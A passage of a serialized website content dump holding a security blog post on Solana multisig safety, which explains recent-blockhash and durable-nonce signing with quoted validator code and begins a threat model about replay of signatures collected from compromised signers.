epth":1560,"text":66556},{"id":67084,"depth":1545,"text":67087},{"id":68065,"depth":1545,"text":68068},{"id":30246,"depth":1545,"text":20252},{"id":16780,"depth":1545,"text":19736},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":68965,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":68966,"description":68967,"date":68968,"author":7010,"image":68969,"isFeatured":17,"onBlogPage":17,"tags":68971,"body":68972,"_type":4157,"_id":70800,"_source":4159,"_file":70801,"_stem":70802,"_extension":4162},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":68970,"width":6677,"height":6678},"/posts/multisig-security/title.png",[16],{"type":19,"children":68973,"toc":70791},[68974,68987,68993,68998,69004,69017,69025,69038,69098,69120,69247,69252,69265,69277,69283,69297,69310,69324,69806,69811,69819,69833,69847,69986,69998,70004,70009,70027,70032,70037,70058,70342,70357,70545,70558,70687,70692,70697,70702,70730,70736,70741,70755,70787],{"type":22,"tag":23,"props":68975,"children":68976},{},[68977,68978,68985],{"type":27,"value":17914},{"type":22,"tag":69,"props":68979,"children":68982},{"href":68980,"rel":68981},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[73],[68983],{"type":27,"value":68984},"Bybit hack",{"type":27,"value":68986}," raises an interesting question: what can teams do if their signers are compromised?",{"type":22,"tag":169,"props":68988,"children":68990},{"id":68989},"solana-signatures",[68991],{"type":27,"value":68992},"Solana Signatures",{"type":22,"tag":23,"props":68994,"children":68995},{},[68996],{"type":27,"value":68997},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":22,"tag":181,"props":68999,"children":69001},{"id":69000},"recent-blockhash",[69002],{"type":27,"value":69003},"Recent Blockhash",{"type":22,"tag":23,"props":69005,"children":69006},{},[69007,69009,69016],{"type":27,"value":69008},"The most straightforward is with a \"recent blockhash\". From ",{"type":22,"tag":69,"props":69010,"children":69013},{"href":69011,"rel":69012},"https://solana.com/developers/guides/advanced/confirmation",[73],[69014],{"type":27,"value":69015},"the docs",{"type":27,"value":5785},{"type":22,"tag":4226,"props":69018,"children":69019},{},[69020],{"type":22,"tag":23,"props":69021,"children":69022},{},[69023],{"type":27,"value":69024},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":22,"tag":23,"props":69026,"children":69027},{},[69028,69030,69037],{"type":27,"value":69029},"The actual constant ",{"type":22,"tag":69,"props":69031,"children":69034},{"href":69032,"rel":69033},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[73],[69035],{"type":27,"value":69036},"is defined here",{"type":27,"value":210},{"type":22,"tag":618,"props":69039,"children":69041},{"className":4274,"code":69040,"language":4273,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[69042],{"type":22,"tag":257,"props":69043,"children":69044},{"__ignoreMap":7},[69045,69053],{"type":22,"tag":264,"props":69046,"children":69047},{"class":1534,"line":1535},[69048],{"type":22,"tag":264,"props":69049,"children":69050},{"style":4284},[69051],{"type":27,"value":69052},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":22,"tag":264,"props":69054,"children":69055},{"class":1534,"line":1545},[69056,69060,69064,69069,69073,69077,69081,69086,69090,69094],{"type":22,"tag":264,"props":69057,"children":69058},{"style":4293},[69059],{"type":27,"value":14989},{"type":22,"tag":264,"props":69061,"children":69062},{"style":4293},[69063],{"type":27,"value":40425},{"type":22,"tag":264,"props":69065,"children":69066},{"style":1539},[69067],{"type":27,"value":69068}," MAX_PROCESSING_AGE",{"type":22,"tag":264,"props":69070,"children":69071},{"style":4309},[69072],{"type":27,"value":5785},{"type":22,"tag":264,"props":69074,"children":69075},{"style":4722},[69076],{"type":27,"value":15030},{"type":22,"tag":264,"props":69078,"children":69079},{"style":4309},[69080],{"type":27,"value":4312},{"type":22,"tag":264,"props":69082,"children":69083},{"style":1539},[69084],{"type":27,"value":69085}," MAX_RECENT_BLOCKHASHES ",{"type":22,"tag":264,"props":69087,"children":69088},{"style":4309},[69089],{"type":27,"value":2891},{"type":22,"tag":264,"props":69091,"children":69092},{"style":4344},[69093],{"type":27,"value":9228},{"type":22,"tag":264,"props":69095,"children":69096},{"style":1539},[69097],{"type":27,"value":4322},{"type":22,"tag":23,"props":69099,"children":69100},{},[69101,69103,69110,69112,69118],{"type":27,"value":69102},"For those curious, the logic ",{"type":22,"tag":69,"props":69104,"children":69107},{"href":69105,"rel":69106},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[73],[69108],{"type":27,"value":69109},"starts here",{"type":27,"value":69111}," and is quite straightforward to follow, ending in a ",{"type":22,"tag":257,"props":69113,"children":69115},{"className":69114},[],[69116],{"type":27,"value":69117},"is_hash_index_valid",{"type":27,"value":69119}," check.",{"type":22,"tag":618,"props":69121,"children":69123},{"className":4274,"code":69122,"language":4273,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n    last_hash_index - hash_index \u003C= max_age as u64\n}\n",[69124],{"type":22,"tag":257,"props":69125,"children":69126},{"__ignoreMap":7},[69127,69206,69240],{"type":22,"tag":264,"props":69128,"children":69129},{"class":1534,"line":1535},[69130,69134,69139,69143,69148,69152,69156,69160,69165,69169,69173,69177,69182,69186,69190,69194,69198,69202],{"type":22,"tag":264,"props":69131,"children":69132},{"style":4293},[69133],{"type":27,"value":21573},{"type":22,"tag":264,"props":69135,"children":69136},{"style":4401},[69137],{"type":27,"value":69138}," is_hash_index_valid",{"type":22,"tag":264,"props":69140,"children":69141},{"style":1539},[69142],{"type":27,"value":2660},{"type":22,"tag":264,"props":69144,"children":69145},{"style":1549},[69146],{"type":27,"value":69147},"last_hash_index",{"type":22,"tag":264,"props":69149,"children":69150},{"style":4309},[69151],{"type":27,"value":5785},{"type":22,"tag":264,"props":69153,"children":69154},{"style":4722},[69155],{"type":27,"value":7151},{"type":22,"tag":264,"props":69157,"children":69158},{"style":1539},[69159],{"type":27,"value":4380},{"type":22,"tag":264,"props":69161,"children":69162},{"style":1549},[69163],{"type":27,"value":69164},"max_age",{"type":22,"tag":264,"props":69166,"children":69167},{"style":4309},[69168],{"type":27,"value":5785},{"type":22,"tag":264,"props":69170,"children":69171},{"style":4722},[69172],{"type":27,"value":15030},{"type":22,"tag":264,"props":69174,"children":69175},{"style":1539},[69176],{"type":27,"value":4380},{"type":22,"tag":264,"props":69178,"children":69179},{"style":1549},[69180],{"type":27,"value":69181},"hash_index",{"type":22,"tag":264,"props":69183,"children":69184},{"style":4309},[69185],{"type":27,"value":5785},{"type":22,"tag":264,"props":69187,"children":69188},{"style":4722},[69189],{"type":27,"value":7151},{"type":22,"tag":264,"props":69191,"children":69192},{"style":1539},[69193],{"type":27,"value":4390},{"type":22,"tag":264,"props":69195,"children":69196},{"style":4309},[69197],{"type":27,"value":15056},{"type":22,"tag":264,"props":69199,"children":69200},{"style":4722},[69201],{"type":27,"value":13349},{"type":22,"tag":264,"props":69203,"children":69204},{"style":1539},[69205],{"type":27,"value":4594},{"type":22,"tag":264,"props":69207,"children":69208},{"class":1534,"line":1545},[69209,69214,69218,69223,69227,69232,69236],{"type":22,"tag":264,"props":69210,"children":69211},{"style":1549},[69212],{"type":27,"value":69213},"    last_hash_index",{"type":22,"tag":264,"props":69215,"children":69216},{"style":4309},[69217],{"type":27,"value":52576},{"type":22,"tag":264,"props":69219,"children":69220},{"style":1549},[69221],{"type":27,"value":69222}," hash_index",{"type":22,"tag":264,"props":69224,"children":69225},{"style":4309},[69226],{"type":27,"value":9491},{"type":22,"tag":264,"props":69228,"children":69229},{"style":1549},[69230],{"type":27,"value":69231}," max_age",{"type":22,"tag":264,"props":69233,"children":69234},{"style":4293},[69235],{"type":27,"value":10123},{"type":22,"tag":264,"props":69237,"children":69238},{"style":4722},[69239],{"type":27,"value":14495},{"type":22,"tag":264,"props":69241,"children":69242},{"class":1534,"line":1560},[69243],{"type":22,"tag":264,"props":69244,"children":69245},{"style":1539},[69246],{"type":27,"value":1692},{"type":22,"tag":23,"props":69248,"children":69249},{},[69250],{"type":27,"value":69251},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":22,"tag":4226,"props":69253,"children":69254},{},[69255],{"type":22,"tag":23,"props":69256,"children":69257},{},[69258,69260],{"type":27,"value":69259},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":22,"tag":242,"props":69261,"children":69262},{},[69263],{"type":27,"value":69264},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":22,"tag":23,"props":69266,"children":69267},{},[69268,69270,69275],{"type":27,"value":69269},"This means an attacker ",{"type":22,"tag":1699,"props":69271,"children":69272},{},[69273],{"type":27,"value":69274},"must use",{"type":27,"value":69276}," a malicious signed transaction within a short timeframe.",{"type":22,"tag":181,"props":69278,"children":69280},{"id":69279},"durable-nonce",[69281],{"type":27,"value":69282},"Durable Nonce",{"type":22,"tag":23,"props":69284,"children":69285},{},[69286,69288,69295],{"type":27,"value":69287},"The second type of signature ",{"type":22,"tag":69,"props":69289,"children":69292},{"href":69290,"rel":69291},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[73],[69293],{"type":27,"value":69294},"is a durable nonce",{"type":27,"value":69296},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":22,"tag":4226,"props":69298,"children":69299},{},[69300],{"type":22,"tag":23,"props":69301,"children":69302},{},[69303,69305],{"type":27,"value":69304},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":22,"tag":242,"props":69306,"children":69307},{},[69308],{"type":27,"value":69309},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":22,"tag":23,"props":69311,"children":69312},{},[69313,69315,69322],{"type":27,"value":69314},"If we examine the code ",{"type":22,"tag":69,"props":69316,"children":69319},{"href":69317,"rel":69318},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[73],[69320],{"type":27,"value":69321},"for recent blockhash validation",{"type":27,"value":69323},", we can also see the handling for durable nonces.",{"type":22,"tag":618,"props":69325,"children":69327},{"className":4274,"code":69326,"language":4273,"meta":7,"style":7},"    let recent_blockhash = tx.message().recent_blockhash();\n    if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n        Ok(CheckedTransactionDetails {\n            nonce: None,\n            lamports_per_signature: hash_info.lamports_per_signature(),\n        })\n    } else if let Some((nonce, previous_lamports_per_signature)) = self\n        .check_load_and_advance_message_nonce_account(\n            tx.message(),\n            next_durable_nonce,\n            next_lamports_per_signature,\n        )\n    {\n        Ok(CheckedTransactionDetails {\n            nonce: Some(nonce),\n            lamports_per_signature: previous_lamports_per_signature,\n        })\n    } else {\n        error_counters.blockhash_not_found += 1;\n        Err(TransactionError::BlockhashNotFound)\n    }\n",[69328],{"type":22,"tag":257,"props":69329,"children":69330},{"__ignoreMap":7},[69331,69378,69444,69464,69484,69514,69522,69576,69593,69613,69625,69637,69645,69652,69671,69698,69718,69725,69740,69770,69799],{"type":22,"tag":264,"props":69332,"children":69333},{"class":1534,"line":1535},[69334,69338,69343,69347,69352,69356,69361,69365,69369,69374],{"type":22,"tag":264,"props":69335,"children":69336},{"style":4293},[69337],{"type":27,"value":4296},{"type":22,"tag":264,"props":69339,"children":69340},{"style":1549},[69341],{"type":27,"value":69342}," recent_blockhash",{"type":22,"tag":264,"props":69344,"children":69345},{"style":4309},[69346],{"type":27,"value":4312},{"type":22,"tag":264,"props":69348,"children":69349},{"style":1549},[69350],{"type":27,"value":69351}," tx",{"type":22,"tag":264,"props":69353,"children":69354},{"style":4309},[69355],{"type":27,"value":210},{"type":22,"tag":264,"props":69357,"children":69358},{"style":4401},[69359],{"type":27,"value":69360},"message",{"type":22,"tag":264,"props":69362,"children":69363},{"style":1539},[69364],{"type":27,"value":15178},{"type":22,"tag":264,"props":69366,"children":69367},{"style":4309},[69368],{"type":27,"value":210},{"type":22,"tag":264,"props":69370,"children":69371},{"style":4401},[69372],{"type":27,"value":69373},"recent_blockhash",{"type":22,"tag":264,"props":69375,"children":69376},{"style":1539},[69377],{"type":27,"value":4977},{"type":22,"tag":264,"props":69379,"children":69380},{"class":1534,"line":1545},[69381,69385,69389,69393,69397,69402,69406,69410,69415,69419,69424,69428,69432,69436,69440],{"type":22,"tag":264,"props":69382,"children":69383},{"style":4328},[69384],{"type":27,"value":13578},{"type":22,"tag":264,"props":69386,"children":69387},{"style":4293},[69388],{"type":27,"value":28617},{"type":22,"tag":264,"props":69390,"children":69391},{"style":4722},[69392],{"type":27,"value":28622},{"type":22,"tag":264,"props":69394,"children":69395},{"style":1539},[69396],{"type":27,"value":2660},{"type":22,"tag":264,"props":69398,"children":69399},{"style":1549},[69400],{"type":27,"value":69401},"hash_info",{"type":22,"tag":264,"props":69403,"children":69404},{"style":1539},[69405],{"type":27,"value":4390},{"type":22,"tag":264,"props":69407,"children":69408},{"style":4309},[69409],{"type":27,"value":429},{"type":22,"tag":264,"props":69411,"children":69412},{"style":1549},[69413],{"type":27,"value":69414}," hash_queue",{"type":22,"tag":264,"props":69416,"children":69417},{"style":4309},[69418],{"type":27,"value":210},{"type":22,"tag":264,"props":69420,"children":69421},{"style":4401},[69422],{"type":27,"value":69423},"get_hash_info_if_valid",{"type":22,"tag":264,"props":69425,"children":69426},{"style":1539},[69427],{"type":27,"value":2660},{"type":22,"tag":264,"props":69429,"children":69430},{"style":1549},[69431],{"type":27,"value":69373},{"type":22,"tag":264,"props":69433,"children":69434},{"style":1539},[69435],{"type":27,"value":4380},{"type":22,"tag":264,"props":69437,"children":69438},{"style":1549},[69439],{"type":27,"value":69164},{"type":22,"tag":264,"props":69441,"children":69442},{"style":1539},[69443],{"type":27,"value":16103},{"type":22,"tag":264,"props":69445,"children":69446},{"class":1534,"line":1560},[69447,69451,69455,69460],{"type":22,"tag":264,"props":69448,"children":69449},{"style":4722},[69450],{"type":27,"value":16111},{"type":22,"tag":264,"props":69452,"children":69453},{"style":1539},[69454],{"type":27,"value":2660},{"type":22,"tag":264,"props":69456,"children":69457},{"style":4722},[69458],{"type":27,"value":69459},"CheckedTransactionDetails",{"type":22,"tag":264,"props":69461,"children":69462},{"style":1539},[69463],{"type":27,"value":4594},{"type":22,"tag":264,"props":69465,"children":69466},{"class":1534,"line":1569},[69467,69472,69476,69480],{"type":22,"tag":264,"props":69468,"children":69469},{"style":1549},[69470],{"type":27,"value":69471},"            nonce",{"type":22,"tag":264,"props":69473,"children":69474},{"style":4309},[69475],{"type":27,"value":5785},{"type":22,"tag":264,"props":69477,"children":69478},{"style":4722},[69479],{"type":27,"value":29070},{"type":22,"tag":264,"props":69481,"children":69482},{"style":1539},[69483],{"type":27,"value":4812},{"type":22,"tag":264,"props":69485,"children":69486},{"class":1534,"line":1583},[69487,69492,69496,69501,69505,69510],{"type":22,"tag":264,"props":69488,"children":69489},{"style":1549},[69490],{"type":27,"value":69491},"            lamports_per_signature",{"type":22,"tag":264,"props":69493,"children":69494},{"style":4309},[69495],{"type":27,"value":5785},{"type":22,"tag":264,"props":69497,"children":69498},{"style":1549},[69499],{"type":27,"value":69500}," hash_info",{"type":22,"tag":264,"props":69502,"children":69503},{"style":4309},[69504],{"type":27,"value":210},{"type":22,"tag":264,"props":69506,"children":69507},{"style":4401},[69508],{"type":27,"value":69509},"lamports_per_signature",{"type":22,"tag":264,"props":69511,"children":69512},{"style":1539},[69513],{"type":27,"value":4795},{"type":22,"tag":264,"props":69515,"children":69516},{"class":1534,"line":1603},[69517],{"type":22,"tag":264,"props":69518,"children":69519},{"style":1539},[69520],{"type":27,"value":69521},"        })\n",{"type":22,"tag":264,"props":69523,"children":69524},{"class":1534,"line":1612},[69525,69529,69533,69537,69541,69545,69549,69554,69558,69563,69567,69571],{"type":22,"tag":264,"props":69526,"children":69527},{"style":1539},[69528],{"type":27,"value":17079},{"type":22,"tag":264,"props":69530,"children":69531},{"style":4328},[69532],{"type":27,"value":4619},{"type":22,"tag":264,"props":69534,"children":69535},{"style":4328},[69536],{"type":27,"value":17088},{"type":22,"tag":264,"props":69538,"children":69539},{"style":4293},[69540],{"type":27,"value":28617},{"type":22,"tag":264,"props":69542,"children":69543},{"style":4722},[69544],{"type":27,"value":28622},{"type":22,"tag":264,"props":69546,"children":69547},{"style":1539},[69548],{"type":27,"value":32838},{"type":22,"tag":264,"props":69550,"children":69551},{"style":1549},[69552],{"type":27,"value":69553},"nonce",{"type":22,"tag":264,"props":69555,"children":69556},{"style":1539},[69557],{"type":27,"value":4380},{"type":22,"tag":264,"props":69559,"children":69560},{"style":1549},[69561],{"type":27,"value":69562},"previous_lamports_per_signature",{"type":22,"tag":264,"props":69564,"children":69565},{"style":1539},[69566],{"type":27,"value":10132},{"type":22,"tag":264,"props":69568,"children":69569},{"style":4309},[69570],{"type":27,"value":429},{"type":22,"tag":264,"props":69572,"children":69573},{"style":4293},[69574],{"type":27,"value":69575}," self\n",{"type":22,"tag":264,"props":69577,"children":69578},{"class":1534,"line":1621},[69579,69584,69589],{"type":22,"tag":264,"props":69580,"children":69581},{"style":4309},[69582],{"type":27,"value":69583},"        .",{"type":22,"tag":264,"props":69585,"children":69586},{"style":4401},[69587],{"type":27,"value":69588},"check_load_and_advance_message_nonce_account",{"type":22,"tag":264,"props":69590,"children":69591},{"style":1539},[69592],{"type":27,"value":4767},{"type":22,"tag":264,"props":69594,"children":69595},{"class":1534,"line":1629},[69596,69601,69605,69609],{"type":22,"tag":264,"props":69597,"children":69598},{"style":1549},[69599],{"type":27,"value":69600},"            tx",{"type":22,"tag":264,"props":69602,"children":69603},{"style":4309},[69604],{"type":27,"value":210},{"type":22,"tag":264,"props":69606,"children":69607},{"style":4401},[69608],{"type":27,"value":69360},{"type":22,"tag":264,"props":69610,"children":69611},{"style":1539},[69612],{"type":27,"value":4795},{"type":22,"tag":264,"props":69614,"children":69615},{"class":1534,"line":1642},[69616,69621],{"type":22,"tag":264,"props":69617,"children":69618},{"style":1549},[69619],{"type":27,"value":69620},"            next_durable_nonce",{"type":22,"tag":264,"props":69622,"children":69623},{"style":1539},[69624],{"type":27,"value":4812},{"type":22,"tag":264,"props":69626,"children":69627},{"class":1534,"line":1660},[69628,69633],{"type":22,"tag":264,"props":69629,"children":69630},{"style":1549},[69631],{"type":27,"value":69632},"            next_lamports_per_signature",{"type":22,"tag":264,"props":69634,"children":69635},{"style":1539},[69636],{"type":27,"value":4812},{"type":22,"tag":264,"props":69638,"children":69639},{"class":1534,"line":1668},[69640],{"type":22,"tag":264,"props":69641,"children":69642},{"style":1539},[69643],{"type":27,"value":69644},"        )\n",{"type":22,"tag":264,"props":69646,"children":69647},{"class":1534,"line":1677},[69648],{"type":22,"tag":264,"props":69649,"children":69650},{"style":1539},[69651],{"type":27,"value":1566},{"type":22,"tag":264,"props":69653,"children":69654},{"class":1534,"line":1686},[69655,69659,69663,69667],{"type":22,"tag":264,"props":69656,"children":69657},{"style":4722},[69658],{"type":27,"value":16111},{"type":22,"tag":264,"props":69660,"children":69661},{"style":1539},[69662],{"type":27,"value":2660},{"type":22,"tag":264,"props":69664,"children":69665},{"style":4722},[69666],{"type":27,"value":69459},{"type":22,"tag":264,"props":69668,"children":69669},{"style":1539},[69670],{"type":27,"value":4594},{"type":22,"tag":264,"props":69672,"children":69673},{"class":1534,"line":4948},[69674,69678,69682,69686,69690,69694],{"type":22,"tag":264,"props":69675,"children":69676},{"style":1549},[69677],{"type":27,"value":69471},{"type":22,"tag":264,"props":69679,"children":69680},{"style":4309},[69681],{"type":27,"value":5785},{"type":22,"tag":264,"props":69683,"children":69684},{"style":4722},[69685],{"type":27,"value":28622},{"type":22,"tag":264,"props":69687,"children":69688},{"style":1539},[69689],{"type":27,"value":2660},{"type":22,"tag":264,"props":69691,"children":69692},{"style":1549},[69693],{"type":27,"value":69553},{"type":22,"tag":264,"props":69695,"children":69696},{"style":1539},[69697],{"type":27,"value":8029},{"type":22,"tag":264,"props":69699,"children":69700},{"class":1534,"line":4957},[69701,69705,69709,69714],{"type":22,"tag":264,"props":69702,"children":69703},{"style":1549},[69704],{"type":27,"value":69491},{"type":22,"tag":264,"props":69706,"children":69707},{"style":4309},[69708],{"type":27,"value":5785},{"type":22,"tag":264,"props":69710,"children":69711},{"style":1549},[69712],{"type":27,"value":69713}," previous_lamports_per_signature",{"type":22,"tag":264,"props":69715,"children":69716},{"style":1539},[69717],{"type":27,"value":4812},{"type":22,"tag":264,"props":69719,"children":69720},{"class":1534,"line":4980},[69721],{"type":22,"tag":264,"props":69722,"children":69723},{"style":1539},[69724],{"type":27,"value":69521},{"type":22,"tag":264,"props":69726,"children":69727},{"class":1534,"line":4989},[69728,69732,69736],{"type":22,"tag":264,"props":69729,"children":69730},{"style":1539},[69731],{"type":27,"value":17079},{"type":22,"tag":264,"props":69733,"children":69734},{"style":4328},[69735],{"type":27,"value":4619},{"type":22,"tag":264,"props":69737,"children":69738},{"style":1539},[69739],{"type":27,"value":4594},{"type":22,"tag":264,"props":69741,"children":69742},{"class":1534,"line":4998},[69743,69748,69752,69757,69762,69766],{"type":22,"tag":264,"props":69744,"children":69745},{"style":1549},[69746],{"type":27,"value":69747},"        error_counters",{"type":22,"tag":264,"props":69749,"children":69750},{"style":4309},[69751],{"type":27,"value":210},{"type":22,"tag":264,"props":69753,"children":69754},{"style":1539},[69755],{"type":27,"value":69756},"blockhash_not_found ",{"type":22,"tag":264,"props":69758,"children":69759},{"style":4309},[69760],{"type":27,"value":69761},"+=",{"type":22,"tag":264,"props":69763,"children":69764},{"style":4344},[69765],{"type":27,"value":5817},{"type":22,"tag":264,"props":69767,"children":69768},{"style":1539},[69769],{"type":27,"value":4322},{"type":22,"tag":264,"props":69771,"children":69772},{"class":1534,"line":5067},[69773,69777,69781,69786,69790,69795],{"type":22,"tag":264,"props":69774,"children":69775},{"style":4722},[69776],{"type":27,"value":16154},{"type":22,"tag":264,"props":69778,"children":69779},{"style":1539},[69780],{"type":27,"value":2660},{"type":22,"tag":264,"props":69782,"children":69783},{"style":4722},[69784],{"type":27,"value":69785},"TransactionError",{"type":22,"tag":264,"props":69787,"children":69788},{"style":4309},[69789],{"type":27,"value":4785},{"type":22,"tag":264,"props":69791,"children":69792},{"style":4722},[69793],{"type":27,"value":69794},"BlockhashNotFound",{"type":22,"tag":264,"props":69796,"children":69797},{"style":1539},[69798],{"type":27,"value":4463},{"type":22,"tag":264,"props":69800,"children":69801},{"class":1534,"line":5075},[69802],{"type":22,"tag":264,"props":69803,"children":69804},{"style":1539},[69805],{"type":27,"value":1674},{"type":22,"tag":23,"props":69807,"children":69808},{},[69809],{"type":27,"value":69810},"The documentation does a good job of explaining how they work.",{"type":22,"tag":4226,"props":69812,"children":69813},{},[69814],{"type":22,"tag":23,"props":69815,"children":69816},{},[69817],{"type":27,"value":69818},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":22,"tag":23,"props":69820,"children":69821},{},[69822,69824,69831],{"type":27,"value":69823},"Durable nonces are created and managed ",{"type":22,"tag":69,"props":69825,"children":69828},{"href":69826,"rel":69827},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[73],[69829],{"type":27,"value":69830},"by the system program",{"type":27,"value":69832},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":22,"tag":23,"props":69834,"children":69835},{},[69836,69838,69845],{"type":27,"value":69837},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":22,"tag":69,"props":69839,"children":69842},{"href":69840,"rel":69841},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[73],[69843],{"type":27,"value":69844},"based on the current blockhash",{"type":27,"value":69846},", and cannot be predicted in advance.",{"type":22,"tag":618,"props":69848,"children":69850},{"className":4274,"code":69849,"language":4273,"meta":7,"style":7},"    let hash_queue = self.blockhash_queue.read().unwrap();\n    let last_blockhash = hash_queue.last_hash();\n    let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[69851],{"type":22,"tag":257,"props":69852,"children":69853},{"__ignoreMap":7},[69854,69906,69939],{"type":22,"tag":264,"props":69855,"children":69856},{"class":1534,"line":1535},[69857,69861,69865,69869,69873,69877,69882,69886,69890,69894,69898,69902],{"type":22,"tag":264,"props":69858,"children":69859},{"style":4293},[69860],{"type":27,"value":4296},{"type":22,"tag":264,"props":69862,"children":69863},{"style":1549},[69864],{"type":27,"value":69414},{"type":22,"tag":264,"props":69866,"children":69867},{"style":4309},[69868],{"type":27,"value":4312},{"type":22,"tag":264,"props":69870,"children":69871},{"style":4293},[69872],{"type":27,"value":15096},{"type":22,"tag":264,"props":69874,"children":69875},{"style":4309},[69876],{"type":27,"value":210},{"type":22,"tag":264,"props":69878,"children":69879},{"style":1539},[69880],{"type":27,"value":69881},"blockhash_queue",{"type":22,"tag":264,"props":69883,"children":69884},{"style":4309},[69885],{"type":27,"value":210},{"type":22,"tag":264,"props":69887,"children":69888},{"style":4401},[69889],{"type":27,"value":61962},{"type":22,"tag":264,"props":69891,"children":69892},{"style":1539},[69893],{"type":27,"value":15178},{"type":22,"tag":264,"props":69895,"children":69896},{"style":4309},[69897],{"type":27,"value":210},{"type":22,"tag":264,"props":69899,"children":69900},{"style":4401},[69901],{"type":27,"value":4972},{"type":22,"tag":264,"props":69903,"children":69904},{"style":1539},[69905],{"type":27,"value":4977},{"type":22,"tag":264,"props":69907,"children":69908},{"class":1534,"line":1545},[69909,69913,69918,69922,69926,69930,69935],{"type":22,"tag":264,"props":69910,"children":69911},{"style":4293},[69912],{"type":27,"value":4296},{"type":22,"tag":264,"props":69914,"children":69915},{"style":1549},[69916],{"type":27,"value":69917}," last_blockhash",{"type":22,"tag":264,"props":69919,"children":69920},{"style":4309},[69921],{"type":27,"value":4312},{"type":22,"tag":264,"props":69923,"children":69924},{"style":1549},[69925],{"type":27,"value":69414},{"type":22,"tag":264,"props":69927,"children":69928},{"style":4309},[69929],{"type":27,"value":210},{"type":22,"tag":264,"props":69931,"children":69932},{"style":4401},[69933],{"type":27,"value":69934},"last_hash",{"type":22,"tag":264,"props":69936,"children":69937},{"style":1539},[69938],{"type":27,"value":4977},{"type":22,"tag":264,"props":69940,"children":69941},{"class":1534,"line":1560},[69942,69946,69951,69955,69960,69964,69969,69973,69977,69982],{"type":22,"tag":264,"props":69943,"children":69944},{"style":4293},[69945],{"type":27,"value":4296},{"type":22,"tag":264,"props":69947,"children":69948},{"style":1549},[69949],{"type":27,"value":69950}," next_durable_nonce",{"type":22,"tag":264,"props":69952,"children":69953},{"style":4309},[69954],{"type":27,"value":4312},{"type":22,"tag":264,"props":69956,"children":69957},{"style":4722},[69958],{"type":27,"value":69959}," DurableNonce",{"type":22,"tag":264,"props":69961,"children":69962},{"style":4309},[69963],{"type":27,"value":4785},{"type":22,"tag":264,"props":69965,"children":69966},{"style":4401},[69967],{"type":27,"value":69968},"from_blockhash",{"type":22,"tag":264,"props":69970,"children":69971},{"style":1539},[69972],{"type":27,"value":2660},{"type":22,"tag":264,"props":69974,"children":69975},{"style":4309},[69976],{"type":27,"value":4413},{"type":22,"tag":264,"props":69978,"children":69979},{"style":1549},[69980],{"type":27,"value":69981},"last_blockhash",{"type":22,"tag":264,"props":69983,"children":69984},{"style":1539},[69985],{"type":27,"value":5142},{"type":22,"tag":23,"props":69987,"children":69988},{},[69989,69991,69996],{"type":27,"value":69990},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":22,"tag":1699,"props":69992,"children":69993},{},[69994],{"type":27,"value":69995},"can",{"type":27,"value":69997}," be saved and reused.",{"type":22,"tag":169,"props":69999,"children":70001},{"id":70000},"threat-model",[70002],{"type":27,"value":70003},"Threat Model",{"type":22,"tag":23,"props":70005,"children":70006},{},[70007],{"type":27,"value":70008},"Let's consider a simplified form of the original question.",{"type":22,"tag":1867,"props":70010,"children":70011},{},[70012,70017,70022],{"type":22,"tag":1871,"props":70013,"children":70014},{},[70015],{"type":27,"value":70016},"We have a N/M multisig",{"type":22,"tag":1871,"props":70018,"children":70019},{},[70020],{"type":27,"value":70021},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":22,"tag":1871,"props":70023,"children":70024},{},[70025],{"type":27,"value":70026},"We can accurately query chain state.",{"type":22,"tag":23,"props":70028,"children":70029},{},[70030],{"type":27,"value":70031},"Can we safely sign transactions?",{"type":22,"tag":23,"props":70033,"children":70034},{},[70035],{"type":27,"value":70036},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":22,"tag":23,"props":70038,"children":70039},{},[70040,70042,70048,70050,70057],{"type":27,"value":70041},"Durable nonces require an onchain account, and it's possible to use a 